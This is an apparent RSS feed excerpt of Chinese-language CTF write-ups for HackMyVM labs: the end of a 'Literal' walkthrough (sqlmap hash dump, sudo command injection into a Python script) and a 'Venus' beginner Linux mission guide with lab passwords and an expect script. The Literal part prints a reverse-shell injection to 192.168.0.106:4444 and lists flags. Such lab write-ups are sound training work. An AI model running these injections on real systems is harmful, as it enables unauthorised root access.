[06:15:11] [INFO] starting dictionary-based cracking (sha512_generic_passwd)
[06:15:11] [INFO] starting 8 processes 
[06:15:17] [INFO] using suffix &amp;#39;1&amp;#39;                             
[06:15:23] [INFO] using suffix &amp;#39;123&amp;#39;                           
[06:15:30] [INFO] using suffix &amp;#39;2&amp;#39;                             
[06:15:36] [INFO] using suffix &amp;#39;12&amp;#39;                            
[06:15:43] [INFO] using suffix &amp;#39;3&amp;#39;                             
[06:15:51] [INFO] using suffix &amp;#39;13&amp;#39;                            
[06:15:57] [INFO] using suffix &amp;#39;7&amp;#39;                             
[06:16:05] [INFO] using suffix &amp;#39;11&amp;#39;                            
[06:16:12] [INFO] using suffix &amp;#39;5&amp;#39;                             
[06:16:19] [INFO] using suffix &amp;#39;22&amp;#39;                            
[06:16:26] [INFO] using suffix &amp;#39;23&amp;#39;                            
[06:16:33] [INFO] using suffix &amp;#39;01&amp;#39;                            
[06:16:39] [INFO] using suffix &amp;#39;4&amp;#39;                             
[06:16:46] [INFO] using suffix &amp;#39;07&amp;#39;                            
[06:16:53] [INFO] using suffix &amp;#39;21&amp;#39;                            
[06:17:00] [INFO] using suffix &amp;#39;14&amp;#39;                            
[06:17:07] [INFO] using suffix &amp;#39;10&amp;#39;                            
[06:17:13] [INFO] using suffix &amp;#39;06&amp;#39;                            
[06:17:20] [INFO] using suffix &amp;#39;08&amp;#39;                            
[06:17:26] [INFO] using suffix &amp;#39;8&amp;#39;                             
[06:17:33] [INFO] using suffix &amp;#39;15&amp;#39;                            
[06:17:39] [INFO] using suffix &amp;#39;69&amp;#39;                            
[06:17:46] [INFO] using suffix &amp;#39;16&amp;#39;                            
[06:17:52] [INFO] using suffix &amp;#39;6&amp;#39;                             
[06:17:59] [INFO] using suffix &amp;#39;18&amp;#39;                            
[06:18:06] [INFO] using suffix &amp;#39;!&amp;#39;                             
[06:18:13] [INFO] using suffix &amp;#39;.&amp;#39;                             
[06:18:20] [INFO] using suffix &amp;#39;*&amp;#39;                             
[06:18:27] [INFO] using suffix &amp;#39;!!&amp;#39;                            
[06:18:34] [INFO] using suffix &amp;#39;?&amp;#39;                             
[06:18:40] [INFO] using suffix &amp;#39;;&amp;#39;                             
[06:18:47] [INFO] using suffix &amp;#39;..&amp;#39;                            
[06:18:53] [INFO] using suffix &amp;#39;!!!&amp;#39;                           
[06:19:01] [INFO] using suffix &amp;#39;, &amp;#39;                            
[06:19:08] [INFO] using suffix &amp;#39;@&amp;#39;                             
[06:19:15] [WARNING] no clear password(s) found                
Database: forumtesting
Table: forum_owner
[1 entry]
+----+---------------------------------+------------+----------------------------------------------------------------------------------------------------------------------------------+----------+
| id | email                           | created    | password                                                                                                                         | username |
+----+---------------------------------+------------+----------------------------------------------------------------------------------------------------------------------------------+----------+
| 1  | carlos@forumtesting.literal.htb | 2022-02-12 | 6705fe62010679f04257358241792b41acba4ea896178a40eb63c743f5317a09faefa2e056486d55e9c05f851b222e6e7c5c1bd22af135157aa9b02201cf4e99 | carlos   |
+----+---------------------------------+------------+----------------------------------------------------------------------------------------------------------------------------------+----------+

[06:19:15] [INFO] table &amp;#39;forumtesting.forum_owner&amp;#39; dumped to CSV file &amp;#39;/home/kali/.local/share/sqlmap/output/forumtesting.literal.hmv/dump/forumtesting/forum_owner.csv&amp;#39;                        
[06:19:15] [INFO] fetched data logged to text files under &amp;#39;/home/kali/.local/share/sqlmap/output/forumtesting.literal.hmv&amp;#39;      

[*] ending @ 06:19:15 /2025-09-07/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; 破解得到：carlos:forum100889，但是却登录失败，看了大佬的博客才知道这个联系着社工 &lt;/p&gt;
&lt;p&gt; 网站论坛名字为&lt;code&gt;forumtesting&lt;/code&gt;，社会工程学来看他密码取为&lt;code&gt;forum100889&lt;/code&gt;是因为对应着平台前五位以及数字，作者的常用密码格式就是xxxxx100889,所以他的ssh密码可能为&lt;code&gt;ssh100889&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;提权&lt;/h1&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;carlos@literal:~$ sudo -l
Matching Defaults entries for carlos on
    literal:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User carlos may run the following
        commands on literal:
    (root) NOPASSWD:
        /opt/my_things/blog/update_project_status.py
        *
carlos@literal:~$ cat /opt/my_things/blog/update_project_status.py
#!/usr/bin/python3

# Learning python3 to update my project status
## (mental note: This is important, so administrator is my safe to avoid upgrading records by mistake) :P

&amp;#39;&amp;#39;&amp;#39;
References:
* MySQL commands in Linux: https://www.shellhacks.com/mysql-run-query-bash-script-linux-command-line/
* Shell commands in Python: https://stackabuse.com/executing-shell-commands-with-python/
* Functions: https://www.tutorialspoint.com/python3/python_functions.htm
* Arguments: https://www.knowledgehut.com/blog/programming/sys-argv-python-examples
* Array validation: https://stackoverflow.com/questions/7571635/fastest-way-to-check-if-a-value-exists-in-a-list
* Valid if root is running the script: https://stackoverflow.com/questions/2806897/what-is-the-best-way-for-checking-if-the-user-of-a-script-has-root-like-privileg
&amp;#39;&amp;#39;&amp;#39;

import os
import sys
from datetime import date

# Functions ------------------------------------------------.
def execute_query(sql):
    os.system(&amp;quot;mysql -u &amp;quot; + db_user + &amp;quot; -D &amp;quot; + db_name + &amp;quot; -e \&amp;quot;&amp;quot; + sql + &amp;quot;\&amp;quot;&amp;quot;)

# Query all rows
def query_all():
    sql = &amp;quot;SELECT * FROM projects;&amp;quot;
    execute_query(sql)

# Query row by ID
def query_by_id(arg_project_id):
    sql = &amp;quot;SELECT * FROM projects WHERE proid = &amp;quot; + arg_project_id + &amp;quot;;&amp;quot;
    execute_query(sql)

# Update database
def update_status(enddate, arg_project_id, arg_project_status):
    if enddate != 0:
        sql = f&amp;quot;UPDATE projects SET prodateend = &amp;#39;&amp;quot; + str(enddate) + &amp;quot;&amp;#39;, prostatus = &amp;#39;&amp;quot; + arg_project_status + &amp;quot;&amp;#39; WHERE proid = &amp;#39;&amp;quot; + arg_project_id + &amp;quot;&amp;#39;;&amp;quot;
    else:
        sql = f&amp;quot;UPDATE projects SET prodateend = &amp;#39;2222-12-12&amp;#39;, prostatus = &amp;#39;&amp;quot; + arg_project_status + &amp;quot;&amp;#39; WHERE proid = &amp;#39;&amp;quot; + arg_project_id + &amp;quot;&amp;#39;;&amp;quot;

    execute_query(sql)

# Main program
def main():
    # Fast validation
    try:
        arg_project_id = sys.argv[1]
    except:
        arg_project_id = &amp;quot;&amp;quot;

    try:
        arg_project_status = sys.argv[2]
    except:
        arg_project_status = &amp;quot;&amp;quot;

    if arg_project_id and arg_project_status: # To update
        # Avoid update by error
        if os.geteuid() == 0:
            array_status = [&amp;quot;Done&amp;quot;, &amp;quot;Doing&amp;quot;, &amp;quot;To do&amp;quot;]
            if arg_project_status in array_status:
                print(&amp;quot;[+] Before update project (&amp;quot; + arg_project_id + &amp;quot;)\n&amp;quot;)
                query_by_id(arg_project_id)

                if arg_project_status == &amp;#39;Done&amp;#39;:
                    update_status(date.today(), arg_project_id, arg_project_status)
                else:
                    update_status(0, arg_project_id, arg_project_status)
            else:
                print(&amp;quot;Bro, avoid a fail: Done - Doing - To do&amp;quot;)
                exit(1)

            print(&amp;quot;\n[+] New status of project (&amp;quot; + arg_project_id + &amp;quot;)\n&amp;quot;)
            query_by_id(arg_project_id)
        else:
            print(&amp;quot;Ejejeeey, avoid mistakes!&amp;quot;)
            exit(1)

    elif arg_project_id:
        query_by_id(arg_project_id)
    else:
        query_all()

# Variables ------------------------------------------------.
db_user = &amp;quot;carlos&amp;quot;
db_name = &amp;quot;blog&amp;quot;

# Main program
main()
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;carlos@literal:~$ sudo /opt/my_things/blog/update_project_status.py
+-------+--------------------------------------------------------------+---------------------+------------+-----------+
| proid | proname                                                      | prodatecreated      | prodateend | prostatus |
+-------+--------------------------------------------------------------+---------------------+------------+-----------+
|     1 | Ascii Art Python - ABCdario with colors                      | 2021-09-20 17:51:59 | 2021-09-20 | Done      |
|     2 | Ascii Art Python - Show logos only with letter A             | 2021-09-20 18:06:22 | 2222-12-12 | To do     |
|     3 | Ascii Art Bash - Show musical stores (WTF)                   | 2021-09-20 18:06:50 | 2222-12-12 | To do     |
|     4 | Forum - Add that people can send me bug reports of projects  | 2023-04-07 17:40:41 | 2023-11-01 | Doing     |
|     5 | Validate syntax errors on blog pages                         | 2021-09-20 18:07:43 | 2222-12-12 | Doing     |
|     6 | Script to extract info from files and upload it to any DB    | 2021-09-20 18:07:58 | 2222-12-12 | Doing     |
|     7 | Forum - Implement forum form                                 | 2023-04-07 17:46:38 | 2023-11-01 | Doing     |
|     8 | Add that people can create their own projects on DB          | 2021-09-20 18:49:52 | 2222-12-12 | To do     |
|     9 | Ascii Art C - Start learning Ascii Art with C                | 2021-09-20 18:50:02 | 2222-12-12 | To do     |
|    10 | Ascii Art Bash - Welcome banner preview in blog home         | 2021-09-20 18:50:08 | 2222-12-12 | To do     |
|    11 | Blog - Create login and register form                        | 2023-04-07 17:40:28 | 2023-08-21 | Done      |
|    12 | Blog - Improve the appearance of the dashboard/projects page | 2021-09-20 18:50:18 | 2222-12-12 | Doing     |
+-------+--------------------------------------------------------------+---------------------+------------+-----------+
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;分析：&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;sudo权限&lt;/strong&gt;：用户carlos可以以root身份无密码运行 &lt;code&gt;/opt/my_things/blog/update_project_status.py *&lt;/code&gt;（注意通配符&lt;code&gt;*&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;脚本漏洞&lt;/strong&gt;：脚本使用 &lt;code&gt;os.system()&lt;/code&gt; 来执行MySQL查询，但没有正确过滤用户输入。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;代码执行点&lt;/strong&gt;：在 &lt;code&gt;execute_query()&lt;/code&gt; 函数中：&lt;/p&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;pythonos.system(&amp;quot;mysql -u &amp;quot; + db_user + &amp;quot; -D &amp;quot; + db_name + &amp;quot; -e &amp;quot;&amp;quot; + sql + &amp;quot;&amp;quot;&amp;quot;)&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;sudo /opt/my_things/blog/update_project_status.py &amp;#39;1&amp;quot; &amp;amp;&amp;amp; bash -c &amp;quot;bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.0.106/4444 0&amp;gt;&amp;amp;1&amp;quot; #&amp;#39; Doing
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(remote) root@literal:/home/carlos# cat user.txt 
6d3c8a6c73cf4f89eea7ae57f6eb9222

(remote) root@literal:/root# cat root.txt 
ca43cb966ef76475d9e0736feeb9f730
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hmvmachines/literal/&quot;&gt;https://heathc1iff-sec.github.io/blog/hmvmachines/literal/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Thu, 15 Jan 2026 00:00:00 GMT</pubDate></item><item><title>HMV-Venus</title><link>https://heathc1iff-sec.github.io/blog/hmvlabs/venus/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hmvlabs/venus/</guid><description>For people who starts playing CTF and wants to practice Linux skills.</description><content:encoded>&lt;h4&gt;一键获取flag&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;sophia/Y1o645M3mR84ejc
angela/oh5p9gAABugHBje
emma/fIvltaGaq0OUH8O
mia/iKXIYg0pyEH2Hos
camila/F67aDmCAAgOOaOc
luna/j3vkuoKQwvbhkMc
eleanor/UNDchvln6Bmtu7b
victoria/pz8OqvJBFxH0cSj
isla/D3XTob0FUImsoBb
violet/WKINVzNQLKLDVAc
lucy/OCmMUjebG53giud
elena/4xZ5lIKYmfPLg9t
alice/Cgecy2MY2MWbaqt
anna/w8NvY27qkpdePox
natalia/NMuc4DkYKDsmZ5z
eva/upsCA3UFu10fDAO
clara/39YziWp5gSvgQN9
frida/Ed4ErEUJEaMcXli
eliza/Fg6b6aoksceQqB9
iris/kYjyoLcnBZ9EJdz
eloise/yOUJlV0SHOnbSPm
lucia/uvMwFDQrQWPMeGP
isabel/H5ol8Z2mrRsorC0
freya/EEDyYFDwYsmYawj
alexa/mxq9O3MSxxX9Q3S
ariel/33EtHoz9a0w2Yqo
lola/d3LieOzRGX5wud6
celeste/VLSNMTKwSV2o8Tn
nina/ixpeqdWuvC5N9kG
kira/tPlqxSKuT4eP3yr
veronica/QTOel6BodTx2cwX
lana/UWbc0zNEVVops1v
noa/9WWOPoeJrq6ncvJ
maia/h1hnDPHpydEjoEN
gloria/v7xUVE2e5bjUcxw
alora/mhrTFCoxGoqUxtw
julie/sjDf4i2MSNgSvOv
irene/8VeRLEFkBpe2DSD
adela/nbhlQyKuaXGojHx
sky/papaparadise
sarah/LWOHeRgmIxg7fuS
mercy/ym5yyXZ163uIS8L
paula/dlHZ6cvX6cLuL8p
karla/gYAmvWY3I7yDKRf
denise/pFg92DpGucMWccA
zora/BWm1R3jCcb53riO
belen/2jA0E8bQ4WrGwWZ
leona/freedom
ava/oCXBeeEeYFX34NU
maria/.--. .- .--. .- .--. .- .-. .- -.. .. ... .
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;#!/usr/bin/expect -f
set timeout 10

set host &amp;quot;venus.hackmyvm.eu&amp;quot;
set port 5000
set ssh_user &amp;quot;hacker&amp;quot;
set ssh_pass &amp;quot;havefun!&amp;quot;
set prompt {[$#] $}

# 读取用户
set f [open &amp;quot;users.txt&amp;quot; r]
set users [split [read $f] &amp;quot;\n&amp;quot;]
close $f

# SSH 登录一次
spawn ssh -o StrictHostKeyChecking=no -p $port $ssh_user@$host
expect &amp;quot;*assword:&amp;quot;
send &amp;quot;$ssh_pass\r&amp;quot;
expect -re $prompt

foreach line $users {
    if {[string trim $line] == &amp;quot;&amp;quot;} {
        continue
    }

    set user [lindex $line 0]
    set pass [lindex $line 1]

    puts &amp;quot;\n===== $user =====&amp;quot;

    send &amp;quot;su $user\r&amp;quot;
    expect {
        &amp;quot;*assword:&amp;quot; {
            send &amp;quot;$pass\r&amp;quot;
        }
        &amp;quot;*Authentication failure*&amp;quot; {
            puts &amp;quot;FAIL $user su failed&amp;quot;
            expect -re $prompt
            continue
        }
    }

    expect {
        &amp;quot;*Authentication failure*&amp;quot; {
            puts &amp;quot;FAIL $user su failed&amp;quot;
            expect -re $prompt
            continue
        }
        -re $prompt {
            send &amp;quot;cd /pwned/$user; cat flagz.txt 2&amp;gt;/dev/null || echo &amp;#39;no flag&amp;#39;\r&amp;quot;
            expect -re $prompt
            send &amp;quot;exit\r&amp;quot;
            expect -re $prompt
        }
    }
}

send &amp;quot;exit\r&amp;quot;
expect eof
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;hr&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Instruction&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Do you love Linux and CTFs? WTF, so you are like us!
Enjoy practicing your Linux skills to get the flags and to find the password to log in as other users.
This is a beginner level so enjoy and be patient!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Start&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ ssh hacker@venus.hackmyvm.eu -p 5000
password :havefun!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;【成功连接，游戏开始】&lt;/p&gt;
&lt;p&gt;每个用户的主目录下都会有一个 &lt;code&gt;mission.txt&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;Mission 0x01&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ ls
mission.txt  readme.txt
// mission.txt 是任务，readme.txt 是游戏介绍
$ cat mission.txt
################
# MISSION 0x01 #
################

## EN ##
User sophia has saved her password in a hidden file in this folder. Find it and log in as sophia.
## ES ##
La usuaria sophia ha guardado su contraseña en un fichero oculto en esta carpeta.Encuentralo y logueate como sophia.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;任务 0x01是获取用户 &lt;code&gt;sophia&lt;/code&gt;的密码并登录，任务提示是当前目录的隐藏文件，使用&lt;code&gt;ls -a&lt;/code&gt;查看隐藏文件，得到密码 &lt;code&gt;Y1o645M3mR84ejc&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;// 切换用户
$ su sophia
// 到用户的主目录
$ cd ../sophia       在目录下的到第一个flag和下一个任务
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Mission 0x02&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ cat mission.txt
################
# MISSION 0x02 #
################

## EN ##
The user angela has saved her password in a file but she does not remember where ... she only remembers that the file was called whereismypazz.txt 

## ES ##
La usuaria angela ha guardado su password en un fichero pero no recuerda donde... solo recuerda que el fichero se llamaba whereismypazz.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;任务 0x02是获取 &lt;code&gt;angela&lt;/code&gt;的密码并登录，任务提示了存放密码的文件名，但没有提供目录，所以我们需要使用&lt;code&gt;find&lt;/code&gt;命令来查找文件&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;$ find / -name whereismypazz.txt 2&amp;gt;/dev/null
/usr/share/whereismypazz.txt
// 直接查看
$ cat /usr/share/whereismypazz.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到密码&lt;code&gt;oh5p9gAABugHBje&lt;/code&gt;,切换用户到 &lt;code&gt;angela&lt;/code&gt;, 到该用户的主目录下获取到第二个flag 和 任务 0x03&lt;/p&gt;
&lt;h4&gt;Mission 0x03&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;$ cat mission.txt
################
# MISSION 0x03 #
################
## EN ##
The password of the user emma is in line 4069 of the file findme.txt
## ES ##
La password de la usuaria emma esta en la linea 4069 del fichero findme.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;任务提示密码在 findme.txt文件的第 4096 行，获取到改行的数据就是密码&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;$ head -n 4096 findme.txt | tail -n 1
fIvltaGaq0OUH8O
切换到 emma ，在主目录下发现flag和下一个任务
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里列出几个获取第 50 行数据的指令&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;head -n 50 filename | tail -n 1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cat -n filename | grep &amp;quot;50&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;awk &amp;quot;NR==50&amp;quot; filename&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sed -n &amp;#39;50p&amp;#39; filename&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;grep -n &amp;quot;&amp;quot; filename | grep &amp;quot;^50:&amp;quot; | cut -d: -f2-&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Mission 0x04&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;################
# MISSION 0x04 #
################

## EN ##
User mia has left her password in the file -.
## ES ##
La usuaria mia ha dejado su password en el fichero -.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;用户&lt;code&gt;mia&lt;/code&gt;的密码在文件 &lt;code&gt;-&lt;/code&gt;中，这里有一个坑，不能直接使用&lt;code&gt;cat -&lt;/code&gt;读取名为 &lt;code&gt;-&lt;/code&gt;的文件&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;$ cat ./-         #读取当前目录下的名为 - 的文件
iKXIYg0pyEH2Hos
在mia的家目录下获取到flag和下一个任务
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Mission 0x05&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;################
# MISSION 0x05 #
################
## EN ##
It seems that the user camila has left her password inside a folder called hereiam 
## ES ##
Parece que la usuaria camila ha dejado su password dentro de una carpeta llamada hereiam
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;任务提示密码在文件夹&lt;code&gt;hereiam&lt;/code&gt;下，我们需要查找该文件夹的位置&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;$ find / -type d -name hereiam 2&amp;gt;/dev/null
/opt/hereiam    # 密码在该目录下的隐藏文件 .here里
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;获取用户&lt;code&gt;camila&lt;/code&gt;的密码&lt;code&gt;F67aDmCAAgOOaOc&lt;/code&gt;，切换用户，转到其主目录下获取flag和下一个任务。&lt;/p&gt;
&lt;h4&gt;Mission 0x06&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;################
# MISSION 0x06 #
################
## EN ##
The user luna has left her password in a file inside the muack folder. 
## ES ##
La usuaria luna ha dejado su password en algun fichero dentro de la carpeta muack.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看&lt;code&gt;muack/&lt;/code&gt;下的文件夹&lt;/p&gt;
&lt;p&gt;蛙趣，层层嵌套，手动查找肯定是不可能的了，使用 &lt;code&gt;find&lt;/code&gt;命令可以达到想要的效果&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;$ find muack/ -type f -exec cat {} \;
j3vkuoKQwvbhkMc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到用户&lt;code&gt;luna&lt;/code&gt;的密码&lt;code&gt;j3vkuoKQwvbhkMc&lt;/code&gt;,切换用户，在其主目录下发现flag和下一个Mission&lt;/p&gt;
&lt;h4&gt;Mission 0x07&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;################
# MISSION 0x07 #
################
## EN ##
The user eleanor has left her password in a file that occupies 6969 bytes. 
## ES ##
La usuaria eleanor ha dejado su password en un fichero que ocupa 6969 bytes.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;任务提示文件密码在大小为 6969 bytes的文件内，继续使用 &lt;code&gt;find&lt;/code&gt;命令查找符合条件的文件&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;$ find / -size 6969c -type f 2&amp;gt;/dev/null
/usr/share/moon.txt   # 查看moon.txt内的内容
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;获取到用户&lt;code&gt;eleanor&lt;/code&gt;的密码&lt;code&gt;UNDchvln6Bmtu7b&lt;/code&gt;，登录并到主目录下获取flag 和下一个任务指示&lt;/p&gt;
&lt;h4&gt;Misssion 0x08&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;################
# MISSION 0x08 #
################

## EN ##
The user victoria has left her password in a file in which the owner is the user violin. 

## ES ##
La usuaria victoria ha dejado su password en un fichero en el cual el propietario es el usuario violin.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;任务提示，victoria的密码存在的文件的主人是 violin，&lt;code&gt;find&lt;/code&gt;命令也可以查找所有者的文件&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;$ find / -type f -name &amp;quot;*&amp;quot; -user violin -exec cat {} \; 2&amp;gt;/dev/null
pz8OqvJBFxH0cSj
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;获取到用户&lt;code&gt;victoria&lt;/code&gt;的密码，登录并到其主目录下获得flag和下一个任务指示。&lt;/p&gt;
&lt;h4&gt;Mission 0x09&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;################
# MISSION 0x09 #
################

## EN ##
The user isla has left her password in a zip file.

## ES ##
La usuaria isla ha dejado su password en un fichero zip.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;任务提示 isla的密码在压缩包里，但在当前主目录下是没有写入权限的，所以不能直接解压到当前目录，但 &lt;code&gt;/tmp&lt;/code&gt;有写入权限&lt;/p&gt;
&lt;p&gt;预期解应该是解压到&lt;code&gt;/tmp目录下&lt;/code&gt;，然后读取&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ unzip passw0rd.zip -d /tmp
/tmp/pwned/victoria/passw0rd.txt   #读取获得密码
非预期：直接cat passw0rd.zip
PK
�.�T��B�wned/victoria/passw0rd.txtUT    �|Nb�|Nbux
                                                  D3XTob0FUImsoBb
PK
�.�T��B���pwned/victoria/passw0rd.txtUT�|Nbux
                                             PKae
同样可以得到密码
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到用户 &lt;code&gt;isla&lt;/code&gt;的密码&lt;code&gt;D3XTob0FUImsoBb&lt;/code&gt;，登陆在主目录下发下flag和下一个任务提示&lt;/p&gt;
&lt;h4&gt;Mission 0x10&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;################
# MISSION 0x10 #
################
## EN ##
The password of the user violet is in the line that begins with a9HFX (these 5 characters are not part of her password.). 
## ES ##
El password de la usuaria violet esta en la linea que empieza por a9HFX (sin ser estos 5 caracteres parte de su password.).
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;任务提示密码是 以&lt;code&gt;a9HFX&lt;/code&gt;开头，所以可以读取&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ grep ^a9HFX passy    或者     cat passy | grep &amp;quot;^a9HFX&amp;quot;
a9HFXWKINVzNQLKLDVAc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到 用户&lt;code&gt;violet&lt;/code&gt;的密码&lt;code&gt;WKINVzNQLKLDVAc&lt;/code&gt;，登录并转到主目录下发现flag 和 下一个任务提示。&lt;/p&gt;
&lt;h4&gt;Mission 0x11&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;################
# MISSION 0x11 #
################

## EN ##
The password of the user lucy is in the line that ends with 0JuAZ (these last 5 characters are not part of her password) 

## ES ##
El password de la usuaria lucy se encuentra en la linea que acaba por 0JuAZ (sin ser estos ultimos 5 caracteres parte de su password)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;任务提示密码是以&lt;code&gt;0JuAZ&lt;/code&gt;结尾的，可以&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ cat end | grep &amp;quot;0JuAZ$&amp;quot;   或grep &amp;quot;0JuAZ$&amp;quot; end
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到用户&lt;code&gt;lucy&lt;/code&gt;的密码&lt;code&gt;OCmMUjebG53giud&lt;/code&gt;，登录转到主目录下获取flag和下一个任务提示。&lt;/p&gt;
&lt;h4&gt;Mission 0x12&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;################
# MISSION 0x12 #
################
## EN ##
The password of the user elena is between the characters fu and ck 
## ES ##
El password de la usuaria elena esta entre los caracteres fu y ck
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;任务提示，密码在 fu 和 ck 之间&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ cat file.yo | grep -E &amp;quot;^fu.*ck$&amp;quot;
fu4xZ5lIKYmfPLg9tck
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;elena&lt;/code&gt;的密码是&lt;code&gt;4xZ5lIKYmfPLg9t&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;Misson 0x13&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;################
# MISSION 0x13 #
################

## EN ##
The user alice has her password is in an environment variable. 

## ES ##
La password de alice esta en una variable de entorno.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;密码在环境变量里面，&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;$ env    或 printenv
...
USER=elena
PASS=Cgecy2MY2MWbaqt
SHLVL=3
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到用户 &lt;code&gt;alice&lt;/code&gt;的密码&lt;code&gt;Cgecy2MY2MWbaqt&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;Mission 0x14&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;################
# MISSION 0x14 #
################

## EN ##
The admin has left the password of the user anna as a comment in the file passwd. 

## ES ##
El admin ha dejado la password de anna como comentario en el fichero passwd.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;用户&lt;code&gt;anna&lt;/code&gt;的密码在&lt;code&gt;/etc/passwd&lt;/code&gt;的注释里面&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;$ cat /etc/passwd | grep alice
alice:x:1014:1014:w8NvY27qkpdePox:/pwned/alice:/bin/bash
&lt;/code&gt;&lt;/pre&gt;
